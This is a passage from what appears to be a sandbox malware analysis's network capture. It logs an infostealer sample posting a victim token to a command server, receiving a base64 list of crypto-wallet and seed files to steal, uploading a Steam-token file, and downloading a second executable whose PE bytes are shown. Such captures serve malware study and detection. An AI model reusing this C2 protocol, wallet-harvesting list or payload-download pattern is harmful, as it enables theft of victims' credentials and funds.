name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="message"wallets------GCAEHDBAAECBFHJKFCFB--
Nov 17, 2024 12:35:43.892157078 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 17, 2024 12:35:43.896899939 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHIJEBKEBGHIDHJKJEG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 49 4a 45 42 4b 45 42 47 48 49 44 48 4a 4b 4a 45 47 2d 2d 0d 0a Data Ascii: ------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------BFHIJEBKEBGHIDHJKJEGContent-Disposition: form-data; name="message"files------BFHIJEBKEBGHIDHJKJEG--
Nov 17, 2024 12:35:44.179639101 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:44.196135044 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file"------GIIIIJDHJEGIECBGHIJE--
Nov 17, 2024 12:35:44.968821049 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:44.997865915 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="message"ybncbhylepme------CAEBGHDBKEBGIDHJJEHC--
Nov 17, 2024 12:35:45.281548977 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49948	185.215.113.16	80	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 12:35:45.294018030 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 17, 2024 12:35:46.206085920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 11:35:46 GMT Content-Type: application/octet-stream Content-Length: 1974784 Last-Modified: Sun, 17 Nov 2024 11:35:21 GMT Connection: keep-alive ETag: "6739d4f9-1e2200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfM@ NS@WkH`MM @.rsrcH@.idata @ ,@jcgoymzc2@vliouzwoM@.taggant0M"@
Nov 17, 2024 12:35:46.206155062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:46.206175089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:46.206187963 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:46.206201077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 12:35:46.206214905 CET	1236	IN	Data Raw: b1 88 7d ec 0a 4c d9 de fa cd 1f d3 73 a8 81 dd d1 1c 95 dd 06 d6 4f f3 73 48 55 6f e7 7c 41 94 be d9 65 c9 73 17 3a ed 72 25 4f 8f f4 b8 1f 00 73 2c 70 d4 ad d8 1f 8c 43 ab 3b e8 00 9a da bd 36 d4 79 53 40 28 4c cf 69 a4 fd bc 42 dc 19 ce ed 7c Data Ascii: }LsOsHUo\|Aes:r%Os,pC;6yS@(LiB\|NMh2vWjX-\|r+:U&'y8Bm\|LCk6UOplM\|z}MSBQ8D $s}N)RG,MVq\|/x\|jrF KK}
Nov 17, 2024 12:35:46.206228018 CET	424	IN	Data Raw: 2f f0 3d ae 72 a8 37 ad e2 14 47 51 19 d5 e4 b6 6c 98 2f f0 6e 59 49 dc 8e cb 52 39 eb bd a1 10 37 a3 a9 6c 51 84 ac 0f b9 30 13 f8 a4 00 a5 3c a8 f7 0a 3c a5 fe 60 68 67 08 60 ac 04 47 8b 34 d1 ce 48 1a ca b5 a1 e3 14 f1 9b cf af a6 59 5f ce e0 Data Ascii: /=r7GQl/nYIR97lQ0<<`hg`G4HY_>f8qvYTc6"Ud<q#$_[BqDmQ?;Gr0G)6J3o$)AD !Xjyl(9M5zqYD26u
Nov 17, 2024 12:35:46.206242085 CET	1236	IN	Data Raw: 1d c7 52 8c 8c fe cd d2 76 48 5c a2 a2 60 df ce a2 0b fe ee 28 d8 1d 2e 92 de 2e 9f 50 c3 1f a0 6c bb 0b 41 7d 74 87 fb 3d e2 70 e2 17 e2 0e 77 be 2f 97 cf 09 ec 67 84 09 f7 d4 90 46 eb 6f 7f 32 e4 39 af 26 a0 d6 8e 32 e7 0a 65 ee 38 d6 05 eb 85 Data Ascii: RvH\`(..PlA}t=pw/gFo29&2e8(DMn07G _qX{V`}FQr-0Rc;uvznL#IeGPFJE&88{ 8rc<K0($I>[Y0*Z`fS)^c/
Nov 17, 2024 12:35:46.206254005 CET	1236	IN	Data Raw: 9e 07 9a ff e6 23 a3 90 ee e7 b5 cc 57 7f fa 0c ef a7 fc 2c ac bd c0 fa 8a 49 56 27 1e 9a 23 fb 2d 37 59 cc db fb d0 a3 61 ee 66 4b 38 66 5d 7f 9c fa 28 ba ef dc 2a c8 66 f2 ae 6a 37 98 28 96 a4 bf 21 98 d3 e7 4d fe fe d3 30 f6 17 a0 b9 e6 6e d5 Data Ascii: #W,IV'#-7YafK8f](*fj7(!M0nW(~u\|eXhY:x2K%$j"gVs~&e%G{nFA5X3^x)O#e7hC6Y.F}a,J{%fqO"ukffr\Da$H%rre}Yi>
Nov 17, 2024 12:35:46.206268072 CET	424	IN	Data Raw: 9d da 47 bb 6f c0 21 4f 69 75 03 ac 29 b9 94 e8 31 dd 3f dc e6 7b dd 71 21 a6 75 b8 d1 5d d1 cf a5 0a 05 52 5e 10 01 18 66 ce 3b 96 eb ca 52 47 7b 83 01 ee 02 68 61 98 e1 7b 96 03 46 bb 42 f6 45 68 14 89 74 4c 15 b9 72 da 52 f4 bb c9 34 04 bb d9 Data Ascii: Go!Oiu)1?{q!u]R^f;RG{ha{FBEhtLrR4@B<8@u0"q:F%\|H)/0Yy[rjtO3$ 0vZKUT.YI6ZZPF}@3w^ZRV3RxH;HrTvD\|\|Bw+J
Nov 17, 2024 12:35:46.211355925 CET	1236	IN	Data Raw: 04 f2 81 fa 06 28 75 40 43 a5 95 dc 79 34 9d e2 86 c3 9a 88 53 d5 76 04 22 71 d6 0b d8 28 ed b1 8a c7 84 01 58 af 2d a6 86 68 9c d1 93 fc 15 44 b2 75 7b c8 d1 1c 4f 38 33 46 6e f1 be 13 5e e0 02 d9 75 48 d6 1a 03 6a 6e d4 9d 35 00 18 39 05 2e 2e Data Ascii: (u@Cy4Sv"q(X-hDu{O83Fn^uHjn59..e"fo9_UDZ)jIshZY&)I\|w951m]O!Fi,.Z[q7:74,t'.<q+SQt+{;E:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49996	185.215.113.206	80	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 12:35:51.642364979 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCGHDHIDHCBGCBGCAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 47 48 44 48 49 44 48 43 42 47 43 42 47 43 41 45 2d 2d 0d 0a Data Ascii: ------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------HDHCGHDHIDHCBGCBGCAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDHCGHDHIDHCBGCBGCAE--
Nov 17, 2024 12:35:53.166642904 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50127	185.215.113.43	80	8028	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 12:37:05.858591080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 17, 2024 12:37:06.758651018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 11:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	142.250.74.196	443	5508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:16 UTC	623	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 11:35:17 UTC	1367	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:16 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-18Vk7olEf-dagVQ9qbXGEQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 11:35:17 UTC	11	IN	Data Raw: 64 39 32 0d 0a 29 5d 7d 27 0a 5b Data Ascii: d92)]}'[
2024-11-17 11:35:17 UTC	1378	IN	Data Raw: 22 22 2c 5b 22 61 6c 6c 20 73 74 61 72 20 77 72 65 73 74 6c 69 6e 67 20 70 65 6e 6e 20 73 74 61 74 65 22 2c 22 6e 76 64 61 20 73 74 6f 63 6b 20 70 72 69 63 65 22 2c 22 63 62 75 6d 20 70 72 61 67 75 65 20 70 72 6f 22 2c 22 70 68 69 6c 69 70 70 69 6e 65 73 20 74 79 70 68 6f 6f 6e 20 6d 61 6e 20 79 69 22 2c 22 6d 75 6d 6d 69 66 69 65 64 20 73 61 62 65 72 20 74 6f 6f 74 68 65 64 20 63 61 74 22 2c 22 67 6f 6f 67 6c 65 20 6d 65 73 73 61 67 65 73 20 73 65 6e 64 69 6e 67 20 61 73 20 70 72 6f 66 69 6c 65 22 2c 22 64 61 76 69 64 20 6c 79 6e 63 68 22 2c 22 73 68 69 62 61 20 69 6e 75 20 63 72 79 70 74 6f 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 Data Ascii: "",["all star wrestling penn state","nvda stock price","cbum prague pro","philippines typhoon man yi","mummified saber toothed cat","google messages sending as profile","david lynch","shiba inu crypto"],["","","","","","","",""],[],{"google:clientdata":{"
2024-11-17 11:35:17 UTC	1378	IN	Data Raw: 6a 63 6d 6c 6f 62 44 46 78 4c 31 6c 58 4e 46 68 43 61 32 31 72 53 55 70 5a 61 6d 35 75 65 58 4a 6d 52 6e 42 35 65 6d 74 4f 53 7a 41 79 4d 47 4e 6f 56 32 4a 33 63 6a 46 30 62 33 4e 4d 57 46 6c 72 54 57 6c 5a 4e 55 46 53 64 6b 64 76 62 54 4a 35 54 30 5a 4c 4d 6c 52 71 4e 47 70 54 63 6c 42 68 4d 6e 4a 54 53 6d 6b 32 56 57 74 42 61 6b 4a 35 62 6b 68 43 4b 33 42 77 52 32 6c 31 51 32 70 6f 57 48 6c 35 5a 7a 68 79 56 48 41 78 55 47 4a 54 4d 32 35 34 51 57 30 77 62 7a 52 50 57 46 4a 43 65 44 56 43 51 54 46 61 54 32 34 35 53 6e 4e 4b 5a 69 74 69 62 44 46 50 55 45 31 57 62 6b 56 34 56 53 74 71 57 6b 6b 76 63 57 6f 77 51 6d 4a 48 4e 33 42 71 63 6c 68 53 63 6c 42 53 61 6b 4a 4f 52 47 4e 32 53 54 42 58 65 44 4e 58 54 47 68 45 4e 6a 55 35 53 30 30 79 4f 58 68 4d 4d 6e Data Ascii: jcmlobDFxL1lXNFhCa21rSUpZam5ueXJmRnB5emtOSzAyMGNoV2J3cjF0b3NMWFlrTWlZNUFSdkdvbTJ5T0ZLMlRqNGpTclBhMnJTSmk2VWtBakJ5bkhCK3BwR2l1Q2poWHl5ZzhyVHAxUGJTM254QW0wbzRPWFJCeDVCQTFaT245SnNKZitibDFPUE1WbkV4VStqWkkvcWowQmJHN3BqclhSclBSakJORGN2STBXeDNXTGhENjU5S00yOXhMMn
2024-11-17 11:35:17 UTC	714	IN	Data Raw: 45 34 77 4d 31 52 4d 65 47 78 6b 61 33 5a 79 56 56 4e 4e 63 6d 56 55 4e 54 55 34 64 6b 31 47 56 47 6f 7a 62 30 30 34 59 6c 68 56 54 6a 52 7a 4d 53 74 4d 52 32 46 36 63 79 74 35 51 55 56 6a 51 31 46 4d 4e 6b 4a 6a 56 55 73 78 5a 54 56 4e 62 44 51 78 64 57 74 76 4f 55 35 76 53 46 42 51 4b 33 45 30 53 46 63 33 65 54 56 48 4d 6a 4e 6f 4d 6c 70 50 54 58 4e 6d 52 44 5a 56 59 54 5a 51 4e 6d 51 76 52 7a 4e 55 57 45 34 7a 62 47 38 77 59 6b 78 72 4c 33 46 51 63 46 64 47 52 6e 52 6f 57 6e 70 77 56 32 46 69 4b 33 70 59 56 48 5a 6f 65 6e 4a 56 61 33 6c 71 4f 43 74 36 62 46 70 57 4f 58 52 74 52 6b 67 33 4c 32 56 76 56 54 4a 4b 56 58 70 32 4d 6e 4e 50 54 53 74 53 63 54 42 6d 52 33 5a 58 61 33 52 6c 62 6d 73 77 4d 6b 35 6e 53 6d 49 32 56 55 52 68 52 47 70 46 55 30 56 46 Data Ascii: 